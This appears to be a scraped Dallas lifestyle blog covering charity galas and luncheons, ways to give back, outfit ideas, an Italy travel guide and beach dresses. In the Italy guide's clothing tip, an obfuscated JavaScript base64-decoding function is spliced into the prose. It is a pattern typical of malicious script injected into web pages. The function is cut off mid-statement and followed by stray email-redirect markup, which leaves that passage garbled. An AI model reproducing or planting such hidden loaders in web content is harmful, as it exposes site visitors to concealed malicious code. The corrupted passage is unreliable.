FGI of Dallas Presents Night Of Stars!

You are cordially invited to the 2017  NIGHT OF STARS gala.    Friday, November, 10th 7pm to 11pm An evening of excitement and glamour as we honor Individuals and Business Leaders for their contribution to fashion and related industries with Career and Lifetime Achievement Awards. Proceeds from the event benefit the FGI of Dallas Scholarship Foundation, which provides scholarships to fashion students in Texas and the surrounding states. FGI members are been given the chance to purchase tickets before the official announcement of honorees and before tickets go on sale to the general public. There are a limited number of seats available so don't wait.    Tickets will be available to the public beginningSeptember 6th when the honorees will officially be announced.   Shhhhhh! Please keep the following a secret until the announcement is made.   THIS YEAR'S HONOREES ARE:    Lifetime Achievement,  Angela Missoni   Art Patron of the Year, Joyce Goss & Kenny Goss   Career Achievement in Business, Nasiba Adilova   Career Achievement in Design, Michael Aram   Career Achievement in Digital Media, Tina Craig   and  Career Achievement in Education, Marilyn Sullivan

Night of Stars will be held at the stunning Hall of State located in Fair Park. The Art Deco building was built in 1936 for the Texas Centennial Exposition. With its grand, dramatic entryway, beautiful lighting, ornate bronze statues and cascading pools, it sets the stage for a beautiful night to remember.

Wait, it's not over yet.  You're then invited to the private after party, hosted by the newly opened,  DON'T TELL SUPPER CLUB, located at 2026 Commerce St.  Valet in front of the club, enjoy the red carpet entertainment and then head directly up the stairs to the private after party with complimentary champagne, lite bites and a cash bar.

A special thanks to our chairs for the 2017 Night of Stars Britt Harless Co-Chair Heidi Dillon Co-Chair Chuck Steelman Honorary Chair And also a special thanks to our friends and sponsors.  Now is the time!  To purchase tickets follow the Eventbrite link and use the password NIGHTOFSTARS. https://fgidallasnightofstars.eventbrite.com We will see you there

Bryan's House Luncheon & "Modern Pearl" Fashion Show

I am delighted to announce I will be serving on the Bryan's House 30th Anniversary Committee. The theme for the 30th Anniversary is Remember • Celebrate • Imagine. We are planning to host a year-long celebration in 2018. There will be a series of events that gratefully acknowledges the supporters, people, volunteers and moments that have helped form, inspire, and enrich the agency’s history. Bryan’s House has impacted over 23,000 lives. It’s constituents are such deserving children and family members - past, present and future”. - Rhonda Sargent Chambers

 

Announcing the Bryan's House Luncheon & "Modern Pearl" Fashion Show celebrating their 30th Anniversary on May 3, 2018. 

 

Rhonda Sargent Chambers is honored to be chosen as the fashion show coordinator and is a proud member of the Bryan's House Jubilee Society.

 

Showcasing Nha Khanh's 2018 Fall Collection, as well as a shopping experience at the 2018 Summer clothing pop-up shop at 3015 Trinity Groves, at Gulden Ln, Dallas, TX 75212

For more information, please head to their website: www.bryanshouse.org. 

Serving at-risk families in 67 zip codes and 8 counties in DFW to provide:-A Unique & Successful Medical-Education-Therapy Model to Children With Special Needs-Spring, Summer Camps & Weekend Care-Holistic Family-Centered Support Services

Top Ways To Give Back in Dallas Currently!

Hello, everyone! We are all trying to always find ways to give back to our community! We've rounded up some things you can do this summer!

Bryan's House:

Serve on our Corporate Council

Help us be a model agency in the community – mission-driven, efficient – able to provide essential quality programs that fill the service gap. We are currently recruiting Dallas-based Executives from Fortune 500 and DFW influential companies for our 10+ member council.Role: To adapt corporate best practices to our mission. Are you skilled in Lean Process Management, IT, Corporate Real Estate, HR, Medicine, Food Industry, Law, Insurance, Banking, Consumer Product Development, or another specialty area? We need your expertise!Members meet quarterly for two hours over lunch at a fun location in Dallas. They brainstorm ideas to address operational and systemic challenges. Some of our council members include: Gary Davis – Intel Worldwide, Terry Syler – Retail Connection, Dana Squires – UPS Freight Worldwide, Ryan McCuller – UBS; to name a few… Join us. Email aerickson@bryanshouse.org to connect.Boys and Girls Club:Boys & Girls Clubs of Greater Dallas enables all young people, especially those who need us most, to reach their full potential as productive, caring, responsible citizens. Programming in three core areas meets the diverse needs and interests of our Club members.

• Academic Success
• Good Character & Citizenship
• Healthy Lifestyles

The programs offered provide strong moral guidance, positive role models and life-changing educational programs. Boys & Girls Clubs of Greater Dallas is an organization that stands for traditional values, while providing progressive programs that address the problems faced by the youth of today.  Today, over 6,000 Club members benefit from the programs and services designed specifically for them at Dallas area local Clubs.In kind donations are accepted by BGCD. A receipt for the item(s) donated will be issued for the value of the item placed by the donor. To inquire about in kind donations accepted by BGCD, please submit an inquiry via here and select “InKind” as the subject. (At this time, BGCD cannot accept in kind donations of property, livestock or pets.)

Cedar Springs Boys & Girls Club4440 Brown St.Dallas, TX 75219(972) 982-2260 - Ask for Miss Sophia

Fourth of July Outfits!

Statement sunnies + Bikini Top + Denim Shorts =

Off The Shoulder Dress + Sneakers

Straw Hat + Colored Pants+ Wedges

Colored Dress+ Straw Bag

Blouse + Jeans + Espadrille

Poker with a Purpose

We are all about trying to give back to others and today we are sharing one event you can't miss! Poker with a Purpose by The Elisa Project.

The Elisa Project is dedicated to the development of healthy children and adolescents by promoting the awareness and prevention of life-threatening disordered eating through education, support and advocacy.

At the time of her death, Elisa McCall was a vibrant, beautiful 20-year-old college student who had struggled with bulimia and depression for more than seven years. Despite the fun-loving, seemingly carefree image she portrayed to outsiders and friends, Elisa led another life—one filled with fear, self-loathing, anxiety, and depression. At the heart of these self-destructive emotions was bulimia, the all-consuming eating disorder over which she felt she had    no control.Ultimately, when her struggle with bulimia and depression became too great, Elisa took her own life. After her death, her family found her personal journal, which vividly detailed the emotional roller coaster of her last six months of life. It also contained her wish that her story be used to help those facing similar battles. The publication of her journal has inspired many to rally around the cause of combating eating disorders. (To purchase a copy, please see our shop page.)Rick and Leslie McCall founded The Elisa Project to provide individuals and their loved ones with education and support while increasing community awareness, promoting recognition of the warning signs, encouraging treatment, and providing objective information regarding the availability of appropriate professional services. Through The Elisa Project, the McCall’s hope to share the message that recovery from an eating disorder is possible and that no one should have to suffer or recover alone.This is Elisa’s great legacy.

$100 Buy-In!Buy-in includes a spot at a table, bits & bites and one drink ticket.Prizes awarded to top 8 players!Festive raffle items and a 50/50 raffleSpace is limited! For more information call The Elisa Project at 866.837.1999 or visit www.theelisaproject.org

Our Italy Guide!

1.  Best Place to Eat While in Rome!

Eat where the locals eat for the best Italian food, that goes for all of Italy, in every region.

In Rome, just one block off the Pantheon. 

 Family owned, third generation: https://www.yelp.com/biz/trattoria-antonio-roma and  https://www.youtube.com/watch?v=GLK2Br9MN0M

• Via dei Pastini 1200186 RomeItaly

  Centro Storico

•  Get Directions
•  Phone number+39 06 6790798
•  Business website ristoranteantonioalpantheon.it

2.  What sights are worth skipping?

Don't skip anything!  My list of sights to see is on 11 out of 40!

Visit the sights I recommended if you only have a week or if you have a layover to stay a few days and review what you want to see to add to your bucket list.

IF you have time for one or two sites to see; Chose the Coliseum or the Roman Forum, they are both close together and possible to cover it all in one day, 

 

3.  Favorite thing to eat?

Everywhere I go, I ask the wait staff or better yet the owner, what they suggest is their specialty or what are they best known for. Because I am not a picky eater, I love trying some new.  Mushrooms, seafood, fresh bread and homemade pasta. Abbacchio scottadito, coda allavaccinara, ossobuco con fagioli, filetto al tartufobianco o nero, uova al tartufo,fagioli con le cotiche, saltimbocca allaromana, trippa con mentuccia, pajatasuprenotazione!.

Last but not least...

Have a gelato or two scoopes (uno-due) every day!

Dessert before dinner, second dessert after dinner

4.  Biggest staple fashion item you need in Italy. 

Italian's are chic dressers, they don't have to try.  Immolate their layering technique because it is chilly early in the morning and when the sun goes down.

During the summer months from May through August, I layer a viewable tank with a nice matching 'to-be seen' lace bra-let.  Then a cotton tee, then the first layer of either a cashmere sweater or a lightweight rain jacket.  Cross body bag, small collapsible umbrella and a hat with a significant brim is important, but the absolute must is the most comfortable walking shoes.  

Comfortable Shoes, because there is a lot of walking...I prefer my black Nike's.  There are so many shoe manufacturers that make fashionable walking shoes now, but I prefer the closed tow options because of the walking on dirt at many locations for sight seeing.

 

Take light weight pashmina wraps and use scarves to change up your outfits each day.  It also keeps sun off of your neck and chest.

Winter outfits would be similar in layering but your core color could be black, grey or tonal colors in denim blue, basically a bit darker with heavier fabrics.

DO NOT take anythings that cannot be washed and hung to dry, no 'dry cleaning only' except for cashmere. Cotton and Linen are best, I love wrinkled linens and so do the Italians.

My go to color palette for summer is beige, white and grey.  This year I added all tones for denim blue, light blue and navy.  Add shorts, blue jeans, white jeans and a pair of evening dinner low wedges to match.

Anine Bing tee, to match everything in white and sand.  function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://www.aninebing.com/collections/sale/products/striped-longsleeve-t-shirt-white-sand&source=gmail&ust=1498495922540000&usg=AFQjCNGOYj5QzQdi1nX8S54k8dBElSzkZQ">https://www.aninebing.com/collections/sale/products/striped-longsleeve-t-shirt-white-sand

5.  Best way to get around?

Trains, no doubt!  Public transportation!  Taxi's, like any city around the world, become quite costly.

 

 

6. Check with your air carrier, all airlines companies have different overhead bin sizes.

The TSA rules have changed recently, don't get caught with a size that is even 1" too big.  They WILL not let you fly!

When I travel to Europe, I carry on one duffle bag (max size is 18 x 14 x 8 inches), and one airline approved suitcase, the norm approved size cannot exceed is 22 x 14 x 9 inches.

Some airlines are 21x12x9.

My favorite luggage since I was in college was Travel Pro!

Genesis Luncheon!

Join us on Monday, May 15, 2017 at the Hilton Anatole in Dallas, Texas for the 2017 Genesis Annual Luncheon featuring keynote speaker Arianna Huffington. Luncheon begins at 11:30 a.m.Named to Time Magazine’s list of the world’s 100 most influential people and the Forbes Most Powerful Women list, Arianna Huffington founded The Huffington Post in May 2005. In August 2016 she launched Thrive Global, a corporate and consumer platform designed to improve the health and productivity of businesses and individuals around the world.Since 1985, Genesis has served as a beacon of hope for women and children escaping unspeakable violence. By supporting the Genesis Luncheon, you will walk alongside women and children on their journey to the abuse-free lives they deserve. We hope to see you there!Purchase your tickets here: http://www.genesisshelter.org/events/luncheon/raffle/Luncheon Co-Chairs: Nikki and Crayton WebbUnderwriting Co-Chairs: Abi and Fred PerpallRaffle Chair: Rachel Michell

THANK YOU TO OUR 2017 LUNCHEON SPONSORS

To purchase a table, scroll down to pay online, download the underwriting contract, or contact Bianca Jackson at 214-389-7703 or bjackson@genesisshelter.org.

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Non-Billowy Beach Dresses!

Sometimes billowy beachwear isn't everyone's favorite item. Therefore, we've found some great alternatives for you!Zara: Off-the-shoulder poplin dress

COS: Cotton Poplin DressStories: Oversized dressLisa Says Gah: Denim Tie Dress

Mango: Crochet Dress *Great suggestions from Elle.